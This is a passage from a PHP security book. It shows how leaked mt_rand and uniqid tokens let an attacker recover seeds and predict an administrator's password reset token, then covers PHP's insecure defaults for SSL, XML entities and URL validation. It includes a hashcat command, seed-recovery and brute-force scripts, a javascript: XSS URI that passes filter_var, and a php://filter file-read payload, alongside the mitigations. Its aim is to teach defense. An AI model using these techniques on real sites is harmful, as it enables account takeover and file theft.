This is important for a simple reason - PHP's random number generators are seeded only once per process. If we can send 2+ requests to the same PHP process, that process will reuse the same seed. The whole point of the attack I'll be describing is to use one token disclosure to derive the seed and employ that to guess another token generated from the SAME seed (i.e. in the same process). While mod_php is ideal where multiple requests are necessary to gather related random values, there are certainly cases where several mt_rand() based values can be obtained using just one request. This would make any requirement for mod_php redundant. For example, some of the entropy used to generate the seed for mt_rand() may also be leaked through Session IDs or through values output in the same request.

#### 2. The server exposes CSRF, password reset, or account confirmation tokens generated using mt_rand() based tokens

In order to derive a seed value, we want to be able to directly inspect a number generated by PHP's random number generators. The usage of this number doesn't actually matter so we can source this from any value we can access whether it be a naked mt_rand() output or a hashed CSRF or account confirmation token on signup. There may even be indirect sources where the random value determines other behaviour in output which gives the original value away. The main limitation is that it must be from the same process which generates a second token we're trying to predict. For those keeping the introduction in mind, this is an Information Disclosure vulnerability. As we'll soon see, leaking the output from PHP's PRNGs can be extremely dangerous. Note that this vulnerability is not limited to a single application - you can read PRNG output from one application on the server to determine output from another application on that server so long as the same PHP process is used for both.

#### 3. Known weak token generation algorithm

You can figure this out by targeting an open source application, bribing an employee with access to private source code, finding a particularly peeved off former employee, or by guessing. Some token generating methods are more obvious than others or simply more popular. A truly weak means of generation will feature the use of one of PHP's random number generators (e.g. mt_rand()), weak entropy (no other source of uncertain data), and/or weak hashing (e.g. MD5 or

no hashing whatsoever). The example code we're using generates tokens with some of these factors in evidence. I also included SHA512 hashing to demonstrate that obscuration is simply never a solution. SHA512 is actually a weak hashing solution in the sense that it is fast to compute, i.e. it allows an attacker to brute force inputs on any CPU or GPU at some incredible rates bearing in mind that Moore's Law ensures that that rate increases with each new CPU/GPU generation. This is why passwords must be hashed with something that requires a fixed time to execute irrespective of CPU/GPU performance or Moore's Law.

### 6.3.2 Executing The Attack

Our attack is going to fairly simple. We're going to send two separate HTTP requests in rapid succession across a connection to a PHP process that the server will keep alive for the second request. We'll call them Request A and Request B. Request A targets an accessible token such as a CSRF token, a password reset token (sent to attacker via email) or something of similar nature (not forgetting other options like inline markup, arbitrary IDs used in queries, etc.). This initial token is going to be tortured until it surrenders its seed value. This part of the execution is a Seed Recovery Attack which relies on the seed having so little entropy that it can be brute forced or looked up in a pre-computed rainbow table.

Request B targets something far more interesting. Let's send a request to reset the local Administrator's account password. This will trigger some logic where a token is generated (using a random number based on the same seed as Request A if we fit both requests successfully onto the same PHP process). That token will be stored to the database in anticipation of the Administrator using a password reset link sent to them by email. If we can extract the seed for Request A's token then, having knowledge of how Request B's token is generated, we may predict that password reset token (and hit the reset link before the Admin reads the email!).

Here's the sequence of events as they will unfold:

1. Use Request A to obtain a token which we will reverse engineer to discover the seed value.
2. Use Request B to have a token based on the same seed value stored to the application's database for a password reset.
3. Crack the SHA512 hash to get hold of the random number generated originally by the server.
4. Use the random value we cracked to brute force the seed value used to generate it.
5. Use the seed to generate a series of random values likely to have been the basis of the password reset token.
6. Use our password reset token(s) to reset the Administrator's password.
7. Gain access to the Administrator's account for fun and profit. Well, fun at least.

Let's get hacking...

### 6.3.3 Hacking The Application Step By Step

#### Step 1: Carry out Request A to fetch a token of some description

We're operating on the basis that the target token and the password reset token both depend on the output from mt_rand() so we need to select this carefully. In our case, this imaginative scenario is an application where all tokens are generated the same way so we can just take a short trip to extract a CSRF token and store it somewhere for later reference.

#### Step 2: Carry out Request B to have a password reset token issued for the Administrator account

This request is a simple matter of submitting a password reset form. The token will be stored to the database and sent to the user in an email. This is the token we now have to calculate correctly. If the server's characteristics are accurate, this request will reuse the same PHP process as Request A thus ensuring that both calls to mt_rand() are using the same identical seed value. We could even just use Request A to grab the reset form's CSRF token to enable the submission to streamline things (cut out a middle round trip).

#### Step 3: Crack the SHA512 hashing on the token retrieved from Request A

SHA512 inspires awe in programmers because it's the biggest number available in the SHA-2 family of algorithms. However, the method our target is using to generate tokens suffers from one flaw - random values are restricted to digits (i.e. its uncertainty or entropy is close to negligible). If you check the output from mt_getrandmax(), you'll discover that the maximum random number mt_rand() can generate is only 2.147 billion with some loose change. This limited number of possibilities make it ripe for a brute force attack.

Don't take my word for it though. If you have a discrete GPU from the last few generations, here's how you get started. I opted to use the excellent hashcat-lite since I'm only looking at a single hash. This version of hashcat is one of the fastest such brute forcing tools and is available for all major operating systems including Windows. You can download it from http://hashcat.net/oclhashcat-lite/ in a few seconds.

Generate a token using the method I earlier prescribed using the following script:

```
$rand = mt_rand();
echo "Random Number: ", $rand, PHP_EOL;
$token = hash('sha512', $rand);
echo "Token: ", $token, PHP_EOL;
```

This simulates the token from Request A (which is our SHA512 hash hiding the generated random number we need) and run it through hashcat using the following command.

```
./oclHashcat-lite64 -m1700 --pw-min=1 --pw-max=10 -1?d -o ./seed.txt <SHA512 Hash>
```

Here's what all the various options mean:

- -m1700: Specifies the hashing algo where 1700 means SHA512.
- –pw-min=1: Specifies the minimum input length of the hashed value.
- –pw-max=10: Specifies the maximum input length of the hashed value (10 for mt_rand()).
- -1?d: Specifies that we want a custom dictionary of only digits (i.e. 0-9)
- -o ./seed.txt: Output file where results will be written. None are printed to screen so don't forget it!
- ?d?d?d?d?d?d?d?d?d?d: The mask showing the format to use (all digits to max of 10).

If all works correctly, and your GPU does not explode, Hashcat will figure out what random number was hashed in a couple of minutes. Yes, minutes. I spent some time earlier explaining how entropy works and here you can see it in practice. The mt_rand() function is limited to so few possibilities that the SHA512 hashes of all possible values can be computed in a very short time. The use of hashing to obscure the output from mt_rand() was basically useless.

### Step 4: Recover the seed value from the newly cracked random number

As we saw above, cracking any mt_rand() value from its SHA512 hash only requires a couple of minutes. This should give you a preview of what happens next. With the random value in hand we can run another brute forcing tool called php_mt_seed. This is a small utility that was written to take any output of mt_rand() and perform a brute force attack to locate a seed that would generate that value. You can download the current version, compile it, and run it as follows. You can use an older version if you have compile problems (newer versions had issues with virtual environments when I was testing).

```
./php_mt_seed <RANDOM NUMBER>
```

This might take a bit more time than cracking the SHA512 hash since it's CPU bound, but it will search the entire possible seed space inside of a few minutes on a decent CPU. The result will be one or more candidate seeds (i.e. seeds which produce the given random number). Once again, we're seeing the outcome of weak entropy, though this time as it pertains to how PHP generates seed values for its Marsenne-Twister function. We'll revisit how these seeds are generated later on so you can see why such a brute forcing attack is possible in such a spectacularly short time.

In the above steps, we made use of simple brute forcing tools that exist in the wild. Just because these tools have a narrow focus on single mt_rand() calls, bear in mind that they represent proofs of concept that can be modified for other scenarios (e.g. sequential mt_rand() calls when generating tokens). Also bear in mind that the cracking speed does not preclude the generation of rainbow tables tailored to specific token generating approaches. Here's another generic tool written in Python which targets PHP mt_rand() vulnerabilities: https://github.com/GeorgeArgyros/Snowflake

#### Step 5: Generate Candidate Password Reset Tokens for Administrator Account

Assuming that the total calls to mt_rand() across both Request A and Request B were just two, you can now start predicting the token with the candidate seeds using:

```
function predict($seed) {
    /**
     * Seed the PRNG
     */
    mt_srand($seed);
    /**
     * Skip the Request A call to the function
     */
    mt_rand();
    /**
     * Predict and return the Request B generated token
     */
    $token = hash('sha512', mt_rand());
    return $token;
}
```

This function will predict the reset token for each candidate seed.

#### Step 6 and 7: Reset the Administator Account Password/Be naughty!

All you need to do now is construct a URL containing the token which will let you reset the Administrator's password via the vulnerable application, gain access to their account, and probably find out that they can post unfiltered HTML to a forum or article (another Defense In Depth violation that can be common). That would allow you to mount a widespread Cross-Site Scripting (XSS) attack on all other application users by infecting their PCs with malware and Man-In-The-Browser monitors. Seriously, why stop with just access? The whole point of these seemingly passive, minor and low severity vulnerabilities is to help attackers slowly worm their way into a position where they can achieve their ultimate goal. Hacking is like playing an arcade fighting game where you need combination attacks to pull off some devastating moves.

### 6.3.4 Post-Attack Analysis

The above attack scenario, and the ease with which the varous steps are executed, should clearly demonstrate the dangers of mt_rand(). In fact, the risks are so clear that we can now consider any weakly obscured output of a mt_rand() value in any form accessible to an attacker as an Information Disclosure vulnerability.

Furthermore, there are two sides to the story. For example, if you depend on a library innocently using mt_rand() for some important purpose without ever outputting such values, your own separate use of a leaky token may compromise that library. This is problematic because the library, or

framework, in question is doing nothing to mitigate against Seed Recovery Attacks. Do we blame the user for leaking mt_rand() values or the library for not using better randomness?

The answer to that is that there is enough blame to go around for both. The library should not be using mt_rand() (or any other single source of weak entropy) for any sensitive purposes as its sole source of random values, and the user should not be writing code that leaks mt_rand() values to the world. So yes, we can actually start pointing fingers at unwise uses of mt_rand() even where those uses are not directly leaking to attackers.

So not only do we have to worry about Information Disclosure vulnerabilities, we also need to be conscious of Insufficient Entropy vulnerabilities which leave applications vulnerable to brute force attacks on sensitive tokens, keys or nonces which, while not technically cryptography related, are still used for important non-trivial functions in an application.

## 6.4 And Now For Something Completely Similar

Knowing now that an application's use of PHP's PRNGs can be interpreted as Insufficient Entropy vulnerabilities (i.e. they make brute forcing attacks easier by reducing uncertainty), we can extend our targets a bit more to something we've likely all seen somewhere.

```
$token = hash('sha512', uniqid(mt_rand()));
```

Assuming the presence of an Information Disclosure vulnerability, we can now state that this method of generating tokens is completely useless also. To understand why this is so, we need to take a closer look at PHP's uniqid() function. The definition of this function is as follows:

Gets a prefixed unique identifier based on the current time in microseconds.

If you remember from our discussion of entropy, you measure entropy by the amount of uncertainty it introduces. In the presence of an Information Disclosure vulnerability which leaks mt_rand() values, our use of mt_rand() as a prefix to a unique identifier has zero uncertainty. The only other input to uniqid() in the example is time. Time is definitely NOT uncertain. It progresses in a predictable linear manner. Predictable values have very low entropy.

Of course, the definition notes "microseconds", i.e. millionths of a second. That provides 1,000,000 possible numbers. I ignore the larger seconds value since that is so large grained and measurable (e.g. the HTTP Date header in a response) that it adds almost nothing of value. Before we get into more technical details, let's dissect the uniqid() function by looking at its C code.

```
gettimeofday((struct timeval *) &tv, (struct timezone *) NULL);
sec = (int) tv.tv_sec;
usec = (int) (tv.tv_usec % 0x100000);

/* The max value usec can have is 0xF423F, so we use only five hex
 * digits for usecs.
 */
if (more_entropy) {
```

```
    spprintf(&uniqid, 0, "%s%08x%05x%.8F", prefix, sec, usec, php_combined_lcg(TSRM
} else {
    spprintf(&uniqid, 0, "%s%08x%05x", prefix, sec, usec);
}

RETURN_STRING(uniqid, 0);
```

If that looks complicated, you can actually replicate all of this in plain old PHP:

```
function unique_id($prefix = '', $more_entropy = false) {
    list($usec, $sec) = explode(' ', microtime());
    $usec *= 1000000;
    if(true === $more_entropy) {
        return sprintf('%s%08x%05x%.8F', $prefix, $sec, $usec, lcg_value()*10);
    } else {
        return sprintf('%s%08x%05x', $prefix, $sec, $usec);
    }
}
```

This code basically tells us that a simple uniqid() call with no parameters will return a string containing 13 characters. The first 8 characters are the current Unix timestamp (seconds) in hexadecimal. The final 5 characters represent any additional microseconds in hexadecimal. In other words, a basic uniqid() will provide a very accurate system time measurement which you can dissect from a simple uniqid() call using something like this:

```
$id = uniqid();
$time = str_split($id, 8);
$sec = hexdec('0x' . $time[0]);
$usec = hexdec('0x' . $time[1]);
echo 'Seconds: ', $sec, PHP_EOL, 'Microseconds: ', $usec, PHP_EOL;
```

Indeed, looking at the C code, this accurate system timestamp is never obscured in the output no matter what parameters you use.

```
echo uniqid(), PHP_EOL;                 // 514ee7f81c4b8
echo uniqid('prefix-'), PHP_EOL;        // prefix-514ee7f81c746
echo uniqid('prefix-', true), PHP_EOL;  // prefix-514ee7f81c8993.39593322
```

## 6.5 Brute Force Attacking Unique IDs

If you think about this, it becomes clear that disclosing any naked uniqid() value to an attacker is another example of a potential Information Disclosure vulnerability. It leaks an insanely accurate system time that can be used to guess the inputs into subsequent calls to uniqid(). This helps solves any dilemna you face with predicting microseconds by narrowing 1,000,000 possibilities to a narrower range. While this leak is worthy of mention for later, technically it's not needed for our example. Let's look at the original uniqid() token example again.

```
$token = hash('sha512', uniqid(mt_rand()));
```

Taking the above example, we can see that by combining a Seed Recovery Attack against mt_rand() and leveraging an Information Disclosure from uniqid(), we can now make inroads in calculating a narrower-then-expected selection of SHA512 hashes that might be a password reset or other sensitive token. Heck, if you want to narrow the timestamp range without any naked uniqid() disclosure leaking system time, server responses will typically have a HTTP Date header to analyse for a server-accurate timestamp. Since this just leaves the remaining entropy as one million possible microsecond values, we can just brute force this in a few seconds!

```
<?php
echo PHP_EOL;

/**
 * Generate token to crack without leaking microtime
 */
mt_srand(1361723136.7);
$token = hash('sha512', uniqid(mt_rand()));

/**
 * Now crack the Token without the benefit of microsecond measurement
 * but remember we get seconds from HTTP Date header and seed for
 * mt_rand() using earlier attack scenario ;)
 */
$httpDateSeconds = time();
$bruteForcedSeed = 1361723136.7;
mt_srand($bruteForcedSeed);
$prefix = mt_rand();

/**
 * Increment HTTP Date by a few seconds to offset the possibility of
 * us crossing the second tick between uniqid() and time() calls.
 */
for ($j=$httpDateSeconds; $j < $httpDateSeconds+2; $j++) {
    for ($i=0; $i < 1000000; $i++) {
        /** Replicate uniqid() token generator in PHP */
        $guess = hash('sha512', sprintf('%s%8x%5x', $prefix, $j, $i));
        if ($token == $guess) {
            echo PHP_EOL, 'Actual Token: ', $token, PHP_EOL,
                'Forced Token: ', $guess, PHP_EOL;
            exit(0);
        }
        if (($i % 20000) == 0) {
            echo '~';
        }
    }
}
```

### 6.5.1 Adding More Entropy Will Save Us?

There is, of course, the option of adding extra entropy to uniqid() by setting the second parameter of the function to TRUE:

```
$token = hash('sha512', uniqid(mt_rand(), true));
```

As the C code shows, this new source of entropy uses output from an internal php_combined_lcg() function. This function is actually exposed to userland through the lcg_value() function which I used in my PHP translation of the uniqid() function. It basically combines two values generated using two separately seeded Linear Congruential Generators (LCGs). Here is the code actually used to seed these two LCGs. Similar to mt_rand() seeding, the seeds are generated once per PHP process and then reused in all subsequent calls.

```
static void lcg_seed(TSRMLS_D) /* {{{ */
{
    struct timeval tv;

    if (gettimeofday(&tv, NULL) == 0) {
        LCG(s1) = tv.tv_sec ^ (tv.tv_usec<<11);
    } else {
        LCG(s1) = 1;
    }
    #ifdef ZTS
    LCG(s2) = (long) tsrm_thread_id();
    #else
    LCG(s2) = (long) getpid();
    #endif

    /* Add entropy to s2 by calling gettimeofday() again */
    if (gettimeofday(&tv, NULL) == 0) {
        LCG(s2) ^= (tv.tv_usec<<11);
    }

    LCG(seeded) = 1;
}
```

If you stare at this long enough and feel tempted to smash something into your monitor, I'd urge you to reconsider. Monitors are expensive.

The two seeds both use the gettimeofday() function in C to capture the current seconds since Unix Epoch (relative to the server clock) and microseconds. It's worth noting that both calls are fixed in the source code so the microsecond() count between both will be minimal so the uncertainty they add is not a lot. The second seed will also mix in the current process ID which, in most cases, will be a maximum number of 32,768 under Linux. You can, of course, manually set this as high as ~4 million by writing to /proc/sys/kernel/pid_max but this is very unlikely to reach that high.

The pattern emerging here is that the primary source of entropy used by these LCGs is microsec-

onds. For example, remember our mt_rand() seed? Guess how that is calculated.

```
#ifdef PHP_WIN32
#define GENERATE_SEED() (((long) (time(0) * GetCurrentProcessId())) ^ ((long) (1000
#else
#define GENERATE_SEED() (((long) (time(0) * getpid())) ^ ((long) (1000000.0 * php_c
#endif
```

You'll notice that this means that all seeds used in PHP are interdependent and even mix together similar inputs multiple times. You can feasibly limit the range of initial microseconds as we previously discussed, using two requests where the first hits the transition between seconds (so microtime with be 0 plus exec time to next gettimeofday() C call), and even calculate the delta in microseconds between other gettimeofday() calls with access to the source code (PHP being open source is a leg up). Not to mention that brute forcing a mt_rand() seed gives you the final seed output to play with for offline verification.

The main problem here is, however, php_combined_lcg(). This is the underlying implementation of the userland lcg_value() function which is seeded once per PHP process and where knowledge of the seed makes its output predictable. If we can crack that particular nut, it's effectively game over.

### 6.5.2 There's An App For That...

I've spent much of this article trying to keep things practical, so better get back to that. Getting the two seeds used by php_combined_lcg() is not the easiest task because it's probably not going to be directly leaked (e.g. it's XOR'd into the seed for mt_rand()). The userland lcg_value() function is relatively unknown and programmers mostly rely on mt_rand() if they need to use a PHP PRNG. I don't want to preclude leaking the value of lcg_value() somewhere but it's just not a popular function. The two combined LCGs used also do not feature a seeding function (so you can't just go searching for mt_srand() calls to locate really bad seeding inherited from someone's legacy code). There is however one reliable output that does provide some direct output for brute forcing of the seeds - PHP session IDs.

```
spprintf(&buf, 0, "%.15s%ld%ld%0.8F", remote_addr ? remote_addr : "", tv.tv_sec,
(long int)tv.tv_usec, php_combined_lcg(TSRMLS_C) * 10);
```

The above generates a pre-hash value for the Session ID using an IP address, timestamp, microseconds and...the output from php_combined_lcg(). Given a significant reduction in microtime possibilities (the above needs 1 for generating the ID and 2 within php_combined_lcg() which should have minimum changes between them) we can now perform a brute forcing attack. Well, maybe.

As you may recall from earlier, PHP now supports some newer session options such as session.entropy_file and session.entropy_length. The reason for this was to prevent brute forcing attacks on the session ID that would quickly (as in not take hours) reveal the two seeds to the twin LCGs combined by php_combined_lcg(). If you are running PHP 5.3 or less, you may not

have those settings properly configured which would mean you have another useful Information Disclosure vulnerability exposed which will enable brute forcing of session IDs to get the LCG seeds.

There's a Windows app to figure out the LCG seeds in such cases to prove the point: http://blog.ptsecurity.com/2012/08/not-so-random-numbers-take-two.html

More interestingly, knowledge of the LCG states feeds into how mt_rand() is seeded so this is another path to get around any lack of mt_rand() value leaks.

What does this mean for adding more entropy to uniqid() return values?

```
$token = hash('sha512', uniqid(mt_rand(), true));
```

The above is another example of a potential Insufficient Entropy vulnerability. You cannot rely on entropy which is being leaked from elsewhere (even if you are not responsible for the leaking!). With the Session ID information disclosure leak, an attacker can predict the extra entropy value that will be appended to the ID.

Once again, how do we assign blame? If Application X relies in uniqid() but the user or some other application on the same server leak internal state about PHP's LCGs, we need to mitigate at both ends. Users need to ensure that Session IDs use better entropy and third-party programmers need to be concious that their methods of generating random values lack sufficient entropy and switch to better alternatives (even where only weak entropy sources are possible!).

## 6.6 Hunting For Entropy

By itself, PHP is incapable of generating strong entropy. It doesn't even have a basic API for exposing OS level PRNGs that are reliable strong sources. Instead, you need to rely on the optional existence of the openssl and mcrypt extensions. Both of these extensions offer functions which are significant improvements over their leaky, predictable, low-entropy cousins.

Unfortunately, because both of these extensions are optional, we have little choice but to rely on weak entropy sources in some circumstances as a last ditch fallback position. When this happens, we need to supplement the weak entropy of mt_rand() by including additional sources of uncertainty and mixing all of these together into a single pool from which we can extract pseudo-random bytes. This form of random generator which uses a strong entropy mixer has already been implemented in PHP by Anthony Ferrara in his RandomLib library on Github. Effectively, this is what programmers should be doing where possible.

The one thing you want to avoid is the temptation to obscure your weak entropy by using hashing and complex mathmatical conversions. These are all readily repeatable by an attacker once they know which seeds to start from. These may impose a minor barrier by increasing the necessary computations an attacker must complete when brute forcing, but always remember that low entropy means less uncertainty - less uncertainty means fewer possibilities need to be brute forced. The only realistic solution is to increase the pool of entropy you're using with whatever is at hand.

Anthony's RandomLib generates random bytes by mixing various entropy sources and localised information which an attacker would need to work hard to guess. For example, you can mix mt_rand(), uniqid() and lcg_value() output and go further by adding the PID, memory usage, another microtime measurement, a serialisation of $_ENV, posix_times(), etc. You can go even further since RandomLib is extensible. For example, you could throw in some microsecond deltas (i.e. measure how many microseconds some functions take to complete with pseudo-random input such as hash() calls).

```
/**
 * Generate a 32 byte random value. Can also use these other methods:
 *  - generateInt() to output integers up to PHP_INT_MAX
 *  - generateString() to map values to a specific character range
 */
$factory = new \RandomLib\Factory;
$generator = $factory->getMediumStrengthGenerator();
$token = hash('sha512', $generator->generate(32));
```

Arguably, due to RandomLib's footprint and the ready availability of the OpenSSL and Mcrypt extensions, you can instead use RandomLib as a fallback proposition as used in the SecurityMultiTool PRNG generator class.

Articles:

CHAPTER 7

# PHP Security: Default Vulnerabilities, Security Omissions and Framing Programmers?

Secure By Design is a simple concept in the security world where software is designed from the ground up to be as secure as possible regardless of whether or not it imposes a disadvantage to the end user. The purpose of this principle is to ensure that users who are not security experts can use the software without necessarily being obliged to jump through hoops to learn how to secure their usage or, much worse, being tempted into ignoring security concerns which expose unaddressed security vulnerabilities due to ignorance, inexperience or laziness. The crux of the principle therefore is to promote trust in the software while, somewhat paradoxically, avoiding too much complexity for the end user.

Odd though it may seem, this principle explains some of PHP's greatest security weaknesses. PHP does not explicitly use Secure By Design as a guiding principle when executing features. I'm sure its in the back of developers' minds just as I'm sure it has influenced many if their design decisions, however there are issues when you consider how PHP has influenced the security practices of PHP programmers.

The result of not following Secure By Design is that all applications and libraries written in PHP can inherit a number of security vulnerabilities, hereafter referred to as "By-Default Vulnerabilities". It also means that defending against key types of attacks is undermined by PHP not offering sufficient native functionality and I'll refer to these as "Flawed Assumptions". Combining the two sets of shortcomings, we can establish PHP as existing in an environment where security is being compromised by delegating too much security responsibility to end programmers.

This is the focus of the argument I make in this article: Responsibility. When an application is designed and built only to fall victim to a by-default vulnerability inherited from PHP or due to user-land defenses based on flawed assumptions about what PHP offers in terms of security defenses, who bears the responsibility? Pointing the finger at the programmer isn't wrong but it also doesn't tell the whole story, and neither will it improve the security environment for other

programmers. At some point, PHP needs to be held accountable for security issues that it has a direct influence on though its settings, its default function parameters, its documentation and its lack thereof. And, at that point, questions need to be asked as to when the blurry line between PHP's default behaviour and a security vulnerability sharpens into focus.

When that line is sharpened, we then reach another question - should PHP's status quo be challenged more robustly by labeling these by-default vulnerabilities and other shortcomings as something that MUST be fixed, as opposed to the current status quo (i.e. blame the programmer). It's worth noting that PHP has no official security manual or guide, its population of security books vary dramatically in both quality and scope (you're honestly better off buying something non-specific to PHP than wasting your cash), and the documentation has related gaps and omitted assumptions. If anything, PHP's documentation is the worst guide to security you could ever despair at reading, another oddity in a programming language fleeing its poor security reputation.

This is all wonderfully vague and abstract, and it sounds a lot like I blame PHP for sabotaging security. In many cases, these issues aren't directly attributable to PHP but are still exposed by PHP so I'm simply following the line of suggestion that if PHP did extensively follow Secure By Design, there would be room for improvement and perhaps those improvements ought to be made. Perhaps they should be catalogued, detailed, publicly criticised and the question asked as to why these shortcomings are tolerated and changes to rectify them resisted.

Is that really such a controversial line of thought? If an application or library contained a feature known to be susceptible to an attack, this would be called out as a "security vulnerability" without hesitation. When PHP exposes a feature susceptible to attack, we...stick our heads in the sand and find ways of justifying it by pointing fingers at everyone else? It feels a bit icky to me. Maybe it is actually time we called a spade, a spade. And then used the damn thing to dig ourselves out of the sand pit.

Let's examine the four most prominent examples I know of where PHP falls short of where I believe it needs to be and how they have impacted on how programmers practice security. There's another undercurrent here in that I strongly believe programmers are influenced by how PHP handles a particular security issue. It's not unusual to see programmers appeal to PHP's authority in justifying programming practices.

1. SSL/TLS Misconfiguration
2. XML Injection Attacks
3. Cross-Site Scripting (Limited Escaping Features)
4. Stream Injection Attacks (incl. Local/Remote File Inclusion)

## 7.1 SSL/TLS Misconfiguration

SSL/TLS are standards which allow for secure communication between two parties by offering two key features. Firstly, communications are encrypted so that eavesdroppers on the connection between both parties cannot decipher the data being exchanged. Secondly, one or both parties can

have their identity verified using, for example, SSL Certificates to ensure that the parties always connect to the intended party and not to potential Man-In-The-Middle MITM) attackers (i.e. a Peerjacking Attack). An essential point is that encryption, by itself, does not prevent Man-In-The-Middle attacks. If a MITM is connected to, the encryption mechanism is negotiated with the attacker which means they can decrypt all messages received. This would be unnoticeable if the MITM acted as a transparent go-between, i.e. client connects to MITM, MITM connects to server, and MITM makes sure to pass all messages between the client and the server while still being able to decrypt or manipulate ALL messages between the two.

Since verifying the identity of one or both parties is fundamental to secure SSL/TLS connections, it remains a complete mystery as to why the SSL Context for PHP Streams defaults to disabling peer verification, i.e. all such connections carry a by-default vulnerability to MITM attacks unless the programmer explicitly reconfigures the SSL Context for all HTTPS connections made using PHP streams or sockets. For example:

```
file_get_contents('https://www.example.com');
```

This function call will request the URL and is automatically susceptible to a MITM attack. The same goes for all functions accepting HTTPS URLs (excluding the cURL extension whose SSL handling is separate). This also applies to some unexpected locations such as remote URLs contained in the DOCTYPE of an XML file which we'll cover later in XML Injection Attacks. This problem also applies to all HTTP client libraries making use of PHP streams/sockets, or where the cURL extension was compiled using "–with-curlwrappers" (there is a separate cURL Context for this scenario where peer verifications is also disabled by default).

The options here are somewhat obvious, configuring PHP to use SSL properly is added complexity that programmers are tempted to ignore. Once you go down that road and once you start throwing user data into those connections, you have inherited a security vulnerability that poses a real risk to users. Perhaps more telling is the following function call using the cURL extension for HTTPS connections in place of PHP built-in feature.

```
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
```

This one is far worse than PHP's default position since a programmer must deliberately disable peer verification in cURL. That's blatantly the fault of the programmer and, yes, a lot of programmers do this (Github has a search facility if you want to check for open source examples). To deliberately disable SSL's protection of user data, assuming it's not due to ignorance, can only be described as loathsome and the tolerance afforded to such security vulnerabilities, at a time when browsers and Certificate Authorities would be publicly and universally condemned for the same thing, reflects extremely poorly on PHP programmers taking security seriously.

Seriously, do NOT do this. Yes, you'll get more errors (browsers display big red warnings too). Yes, end programmers may need to define a path to a CA file. Yes, this is all extra work (and examples are scarce on the ground as to how to do it properly). No, it is NOT optional. Keeping user data secure outweighs any programming difficulty. Deal with it.

Incidentally, you'll notice this setting has two predicable strings: verify_peer and CURLOPT_SSL_VERIFYHOST. I suggest using grep or your preferred search method to scan your

source code and that of all libraries and frameworks for those strings so that you might see how many vulnerabilities someone upstream injected into your hard work recently.

The question that arises is simple. If a browser screwed up SSL peer verification, they would be universally ridiculed. If an application neglected to secure SSL connections, they would be both criticised and possibly find themselves in breach of national laws where security has been legislated to a minimum standard. When PHP disables SSL peer verification there is...what exactly? Do we not care? Is it too hard?

Isn't this a security vulnerability in PHP? PHP is not exceptional. It's not special. It's just taking a moronic stance. If it were not moronic, and security was a real concern, this would be fixed. Also, the documentation would be fixed to clearly state how PHP's position is sustainable followed by lots of examples of how to create secure connections properly. Even that doesn't exist which appears suspicious since I know it was highlighted previously.

Kevin McArthur has done far more work in this area than I, so here's a link to his own findings on SSL Peerjacking: http://www.unrest.ca/peerjacking

## 7.2 XML Injection Attacks

Across mid-2012 a new security vulnerability started doing the rounds of various PHP apps/libs/frameworks including Symfony 2 and Zend Framework. It was "new" because in early 2012 a piece of research highlighted that PHP was itself vulnerable to all XML Injection Attacks by-default. XML Injection refers to various attacks but the two of most interest are XML External Entity Injection (XXE) and XML Entity Expansion (XEE).

An XXE attack involves injecting an External Entity into XML which a parser will attempt to expand by reference to a system call which can be to either read from a file, attempt a HTTP GET request to a URL, or to call a PHP wrapper filter (essentially any PHP stream URI). This vulnerability is therefore a stepping stone to Information Disclosure, File Content Disclosure, Access Control Bypass and even Denial Of Service. An XEE attack involves something similar by using an XML parser's ability to expand entities to instead expand large strings a huge number of times leading to memory exhaustion, i.e. Denial Of Service.

All of these vulnerabilities are by-default when using DOM, SimpleXML and XMLReader due to their common dependency on libxml2. I wrote a far more detailed examination of both of these at: http://phpsecurity.readthedocs.org/en/latest/Injection-Attacks.html#xml-injection so forgive this article's brevity.

In order to be vulnerable, you simply need to load an XML document or access one of the expanded entity injected nodes. That's it. Practically all programmers do this in a library or application somewhere. Here's a vulnerable example which looks completely and utterly mind-bogglingly silly because it's what EVERYONE MUST DO to load an XML string into DOM:

```
$dom = new DOMDocument;
$dom->loadXML($xmlString);
```

Now you can do a Github or grep search to find hundreds of vulnerabilities if not thousands. This is of particular note because it highlights another facet of programming securely in PHP. What you don't know will bite you. XML Injection is well known outside of PHP but within PHP it has been largely ignored which likely means there are countless vulnerabilities in the wild. The now correct means of loading an XML document is as follows (by correct, I mean essential unless you are 110% certain that the XML is from a trusted source received over HTTPS - with SSL peer verification ENABLED to prevent MITM tampering).

```
$oldValue = libxml_disable_entity_loader(true);
$dom = new DOMDocument;
$dom->loadXML($xmlString);
foreach ($dom->childNodes as $child) {
    if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) {
        throw new \InvalidArgumentException(
            'Invalid XML: Detected use of disallowed DOCTYPE'
        );
    }
}
libxml_disable_entity_loader($oldValue);
```

As the above suggests, locating the vulnerability in source code can be accomplished by searching for the strings libxml_disable_entity_loader and XML_DOCUMENT_TYPE_NODE. The absence of either string when DOM, SimpleXML and XMLReader are being used may indicate that PHP's by-default vulnerabilities to XML Injection Attacks have not been mitigated.

Once again, who is the duck here? Do we blame programmers for not mitigating a vulnerability inherited from PHP or blame PHP for allowing that vulnerability to exist by default? If it looks, quacks and swims like a duck, maybe it is a security vulnerability in PHP afterall. If so, when can we expect a fix? Never...like SSL Peerjacking by default?

## 7.3 Cross-Site Scripting (Limited Escaping Features)

Outside of SQL Injection attacks, it's probable that Cross-Site Scripting (XSS) is the most common security vulnerability afflicting PHP applications and libraries. The vulnerability arises primarily from key failures in:

1. Input Validation
2. Output Escaping (or Sanitisation)

### 7.3.1 A. Input Validation

Just a few words on Input Validation. When looking for validation failures that PHP may be directly responsible for (no easy task!), I did note that the filter_var() function appears to be doc-

umented as validating URLs. However, this ignored a subtle feature omission which makes the function by itself vulnerable to a validation failure.

```
filter_var($_GET['http_url'], FILTER_VALIDATE_URL);
```

The above looks like it has no problem until you try something like this:

```
$_GET['http_url'] = "javascript://foobar%0Aalert(1)";
```

This is a valid Javascript URI. The usual vector would be javascript:alert(1) but this is rejected by the FILTER_VALIDATE_URL validator since the scheme is not valid. To make it valid, we can take advantage of the fact that the filter accepts any alphabetic string followed by :// as a valid scheme. Therefore, we can create a passing URL with:

javascript: - The universally accepted JS scheme //foobar - A JS comment! Valid and gives us the double forward-slash %0A - A URL encoded newline which terminates the single line comment alert(1) - The JS code we intend executing when the validator fails

This vector also passes with the FILTER_FLAG_PATH_REQUIRED flag enabled so the lesson here is to be wary of these built in validators, be absolutely sure you know what each really does and avoid assumptions (the docs are riddled with HTTP examples, as are the comments, which is plain wrong). Also, validate the scheme yourself since PHP's filter extension doesn't allow you to define a range of accepted schemes and defaults to allowing almost anything...

```
$_GET['http_url'] = "php://filter/read=convert.base64-encode/resource=/path/to/file
```
